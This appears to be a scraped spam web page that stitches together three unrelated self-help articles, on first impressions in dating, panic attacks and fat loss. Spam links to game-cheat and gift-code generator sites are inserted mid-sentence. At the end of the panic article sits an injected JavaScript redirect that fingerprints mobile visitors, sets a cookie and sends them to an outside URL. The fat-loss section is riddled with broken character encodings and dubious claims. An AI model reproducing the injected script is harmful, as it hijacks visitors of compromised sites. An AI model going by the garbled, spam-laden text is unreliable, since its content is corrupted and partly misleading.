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What Sign Are You Wearing The Truth About First Impressions

What *Sign* Are You Wearing? The Truth About First Impressions

It’s not uncommon for singles to ask, “What’s your sign?” when meeting someone new. Depending on the extent of their belief in astrology, knowing someone’s astrological sign can aid in making assumptions or conclusions about someone’s personality, character, and consequently, their potential compatibility.
But there are other signs that singles pay attention to while dating, ones that are not so obvious. These are the signs singles wear on their shirts that communicate valuable information about their personalities, their attitudes about themselves and others and, especially, announces their willingness to be approached and to connect with.
Cindy was encouraged by a married friend to go to a weekly religious service where she heard many singles attended. The married friend offered to accompany her to ease the way, intending to introduce Cindy to people to get her started. It was customary for the singles to socialize over refreshments after services, and while Cindy and her married friend moved about the room, Cindy walked with her head down, took little steps, and hardly broke a smile. When she encountered or was introduced to someone new, she spoke softly and hesitatingly. Soon after getting something to eat, Cindy asked to leave.
If Cindy could see it, she would recognize the sign she was wearing on her shirt said, “I’m scared. Don’t come near me.”
Jack met Julie on an online dating website, noting they had attended from the same ivy league school. After a few emails, they graduated to talking on the phone. Since Jack was soon to leave on a business trip, he asked Julie to meet in person the next day, even though Julie preferred to talk more on the phone beforehand. Jack dismissed Julie’s hesitation, and she reluctantly agreed to meet Jack for a drink. They instantly recognized each other from their pictures and Jack ordered a bottle of wine for the two of them to share. He then began a monologue about his knowledge of the wine they were drinking, the physical therapy he was receiving for his recent shoulder injury from playing softball, and his bad experiences meeting women from the website.
If Jack could see it, he would recognize the sign he was wearing on his shirt said, “I’m more interested in myself than in you. You don’t matter.”
Unfortunately, neither Cindy nor Jack could read the signs they were wearing. They were oblivious to the first impressions they were creating, communicating their inability to connect to others. All Cindy could do was feel self-conscious and rejectable and project her fear that she’d never meet a man who could see how much she really wants to get married. Jack will continue to complain about the women he meets and blame them for not getting closer www.gangstarvegashackcheats.club/gangstarvegashack/ to him because the first impression he creates communicates how he’s too focused on himself and meeting his own needs.
Even if singles were to ignore the signs they read in the beginning of their relationships, first impressions can endure.
Eric met Belinda when she came into the store where Eric worked. Eric was attracted to Belinda and quickly moved to strike up a conversation with her about her purchase. As Belinda was leaving, Eric asked Belinda if he could call her, and she responded by saying “Oh, you don’t want to go out with me. I’m not very much fun.” Eric was surprised to hear this comment, but he persisted. Belinda gave her phone number to Eric, and they went out on a number of dates. As they spent more time together, Belinda would frequently express her disbelief that Eric would like her. Eric would get irritated hearing these disparaging remarks and kept telling Belinda how pretty, how smart, and how kind and thoughtful she was. But Belinda was not so easily convinced that Eric’s view of her was more accurate, and her inability to believe him was a constant source of stress in their relationship.
If Belinda could see it, she would recognize the sign she was wearing on her shirt said, “I’m unworthy and undeserving of your attention and love.”
These examples demonstrate how first impressions have the potential to provide an accurate clue into someone’s personality and style. First impressions can be powerful forces to attract or repel others. For singles looking to find and create a life partner relationship, it supports the importance of knowing yourself, liking yourself, and knowing what you have to give in a relationship. Without that self-knowledge, one would be hard pressed to control the first impressions they convey.
Consequently, the dating problems experienced by Cindy, Jack and Belinda began with their beliefs about themselves – Cindy’s fear of getting close, Jack’s arrogance, and Belinda’s poor self-esteem – and the obstacles they encountered to reaching their relationship goals were due to being oblivious that they were communicating these beliefs. . . . and on their shirts, no less.
Contrast the previous scenarios with this one:
Emily was invited to a Thanksgiving dinner party by her married friend Annette. Annette’s husband Kirk invited other single men, hoping that some of their friends might meet someone special. Emily was not feeling very happy that day, as she was unable to fly home to be with her own family for Thanksgiving. However, she decided to be grateful for Annette’s invitation, and made the effort to be friendly to the other guests during the dinner party.
What sign is Emily wearing? Because she understood herself well enough to know she might feel homesick, she made the conscious effort to wear a sign that said, “I’m happy to be here. Come meet me!”
Tim was invited to Annette and Kirk’s as well, but had plans to join a friend to watch the football games after the meal. Arriving at the party around the same time, Emily noticed Tim was attractive and outgoing, but he seemed to be distracted by his Blackberry’s beeping of football scores. When they all sat down to eat, the conversation eventually turned to football, and Tim found himself interested in Emily’s stories of her childhood experiences going to professional football games with her father, and the football games she went to in college. Tim eventually noticed that he was only talking about football, so he initiated conversations about other topics during the meal, focusing most of his attention however, on Emily. After the meal, Tim decided not to meet his friend, and instead he and Emily went into Annette & Kirk’s family room to continue talking and to watch the football games together.
What sign might Tim have been wearing? Because he noticed he was distracted by his interest in football that day, his sign might have said, “I love football, but I’m happy to talk about other things. Just ask me!”
Emily and Tim had the self-knowledge and the motivation to make themselves available to others, even though they may have been distracted by other feelings (homesickness) or interests (football). They did not want to convey first impressions that communicated an inability to relate and connect to others. Instead, they each made a conscious attempt to wear a sign designed to maximize the opportunity to meet and attract other singles.
One of the truths about the signs people wear is that they can be easily changed. All it requires is self-knowledge, honesty and the motivation to connect with others in meaningful ways. So since you never have a second chance to make a first impression, make sure the sign you wear truly represents who you really are, when you’re at your best.

Panic Attacks This Truth Will Set You Free

Panic Attacks: This Truth Will Set You Free

Unlike far too many people on the Internet, I don’t claim to have discovered THE CURE for panic attacks and other anxiety states. I do offer you a beautifully simple insight into panic which will change your reaction to it. Immediately you’ll start you on the path to calm. The insight?
“Accept your panic symptoms and ….they’ll go. Fight them, and they’ll intensify.”
Look at that word ‘INTENSify’. It’s about TENSing up. Becoming worried and even more panicky about….what? Your feelings of panic. Once you really genuinely realise that they’re only feelings, you’ll also come to accept that feeling alone can’t harm you.
Yes, I know you don’t want them.
Yes, I know that they are frightening and uncomfortable.
But tell me this, my sweet one, “in the past, has tensing up and worrying even more about feeling panicky helped those feelings to dissipate?” Your answer? I know it’s NO.
Just so you’re very clear: tensing up and fighting your symptoms of panic help did not help in the past. It will NOT HELP YOU today. Tensing up and worrying will not help you in the future.
One person selling his e-book on the Internet claims that that ‘float with your panic’ insight is his unique discovery to send panic away. The truth? The truth is that we’ve known for decades that instead of fighting panic and tensing up, you must do the opposite. More than three decades ago, the Australian General Practitioner the late Dr Claire Weekes advised people that instead of fighting panic and tensing up, they should float into their panic, and welcome it like an old friend.
From my counselling practice, I know that you know there’s pokemon go cheats tool nothing to fear. At a rational level. At an emotional level, you still feel overwhelmed. For many of you, the fact that you can’t explain why you feel so terrified is often the most upsetting.
FEAR OF FEAR ITSELF
Once you accept that there is no real danger, you’ll see that your real and lingering fear IS THE FEAR OF THE PANICKY FEELINGS. If you let those inappropriate messages of fear come and do their worst, you’d learn how to send those fears packing.
So to summarise: When your pulse races, your heart pounds, do the opposite of what you normally do. Do this:
STOP !
SMILE…
even though you mightn’t want to
B R E A T H E… D E E P L Y…
O B S E R V E…
OBSERVE YOUR FEAR…. FLOATING AWAY…
MIMIC MOTHER NATURE – FLOW WITH THE HURRICANE
Just as the grass and the trees sway with the wind, rather than rigidly resist it, let your fear feelings come. Then, just observe what happens as if watching a science experiment.
You might want to practise that simple approach at home a few times. You’ll soon see how well it works. I know you can make yourself feel great fear. Bring back those memories of your last panic episode. Right now. Recall every detail. Feel those fear symptoms and now…. just accept them.
That’s right. I’m not saying TRY to do anything. I’m not saying try to relax. I’m not saying try to divert yourself from hungry shark world cheats hack tool your fear-filled thoughts.
I am saying – do absolutely nothing. Accept your feelings.
USE OF DIVERSION
If you normally use various tricks to divert you from the intense feelings of fear, please reconsider that tactic. It may help in the short term, but all those tactics (counting backwards, counting bricks, etc), keep you imprisoned in what Dr R Reid Wilson calls ‘the panic cycle’. They can become habits, and as difficult to break as the panic cycle itself. Please visit Dr Wilson’s wonderful website for more information: anxieties.com
When you recognise your role in your own panic episodes, you’re 90% closer to the solution, to a life without panic attacks. Next time you feel the first fluttering hungry shark world hack of fear and panic follow the simple steps above.
If you’ve been experiencing anxiety and panic for a while, I have to let you know that it’s your fear of the fear-filled symptoms that feed your panic. You are a major part of your problem. But you’re also the total solution.
IT’S ALL IN THE MIND – YOUR MIND
As I point out in my self help e-kit Calming Words, if you feel terrified standing in that queue at the supermarket, or sitting in the middle of the row at the http://www.steamwalletcodesgenerators.com/steamwalletcodes/ cinema, the feelings you feel are fine. They’re a perfect reaction to…danger. Where none exists.
Your mind sent the wrong message “danger, danger” to your body. Your body has then had the right reaction to that danger message – it’s sent the adrenaline surging to get you out of danger. To end with the good news: those messages can be rewritten, re-learned. That’s why I wrote Calming Words ()!if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Top 6 Secrets To Fat Loss The Truth About Fat Loss And Why People Struggle

Top 6 Secrets To Fat Loss ?The Truth About Fat Loss And Why People Struggle

Top 6 Secrets To Fat visit more information Loss ?The Truth About Fat Loss And Why People Struggle

Everyday, people in society today are trying to lose weight, to get rid of some belly fat, and just to look better in general. A very large amount of people want to achieve this result and be healthier in their lives ?but the truth is that a huge number of them fail. Why? Here are the top 6 secrets to Fat Loss.

Water

Drinking a lot of water seems obvious ?but to some it might not be. We&25262;e all human; we&25262;e made mostly up of water, and as a result it can make a huge difference if you keep your system fresh and drink a lot. You&25251;l have to use the bathroom a lot more if you&25262;e drinking water all the time, but for the majority of people it&25263; one of the most important things they can do.

Fruits and Vegetables

A few studies have shown that it&25263; actually healthier to eat several snacks throughout the day rather than to eat a lot at three separate meals. Now that we know snacking is Check our website a good thing, what do we snack on? If you&25262;e a person that regularly munches on junk food, making the transition to have an apple, a banana, some celery, etc can be very difficult. Truth be told, people who eat a lot of junk food have a tendency to actually dislike the taste more information of healthy fruits and vegetables. Not because they taste worse, but just because their body has adapted to a different intake of food. If you&25262;e persistent in making this change, I promise you can start to enjoy eating fruits and vegetables on a regular basis.

Getting The Right Foods At The Store

Eating healthy starts with buying the right foods. If you can manage to only buy good foods at the store ?you&25267;e already won half the battle. At home, you won&25264; have any choice but to eat right later. However, supermarkets and other places where you buy food have been designed to get us to buy the things that aren&25264; good for us, and designed to get us to spend as much as possible. Fight back against the immediate desire in the moment, and you&25251;l be massively rewarded in the long run.

Exercise

This is the one thing a lot of people dread. It IS possible share here to lose a lot of weight, even if you don&25264; exercise ?but it can be harder. Fortunately, you DON&25205; have to do a lot of exercising in order to lose weight. In fact, if weight loss is your main goal, exercising hard can actually cause you to gain weight. Light exercise, however, can be a tremendous help. Going for a jog in the morning, or even just for a walk, and doing some basic exercises can make all the difference in your ability to create the discipline to eat better, be happier, and healthier throughout each day. People often forget how powerful a little fresh air is. If you run in the morning, it opens your lungs for the rest of the day and also gives you a convenient opportunity to think about whatever you&25230; like to think about in your life.

Having a Plan

Folks, change does not happen magically! If you want change to happen for you, I&25254; sorry to tell you, but you must change. If you have a plan ?you know exactly what you want and how long it will take to get there ?you are already way ahead of 90% of others who have the same goal that you do. Most people don&25264; even do this ?they just try to take spontaneous action, and merely hope that it will produce results. Having a plan is crucial.

Consistency

The last step after having a plan is following through with it. Now, this doesn&25264; mean to be super hard on yourself ?by all means, if you feel sick, don&25264; go for a run. Let your body heal. Life comes in summers and winters; in the summers you go out and run after your goal, and grow as a person; in the winters, you are resting, and reaping the crop you have sown over the summer. Don&25264; feel pressured to follow through, but encourage yourself to do so. Try to develop the habit. If you feel resistance, try to ask yourself why. Is this something you really want, or are you only trying to do it because you feel you have to? If its something you know you want, and you&25262;e determined to get it ?it is already yours. You need not worry about the barriers that will get in your way ?I&25254; confident that you can and will reach whatever it is you&25262;e aiming at. Good luck.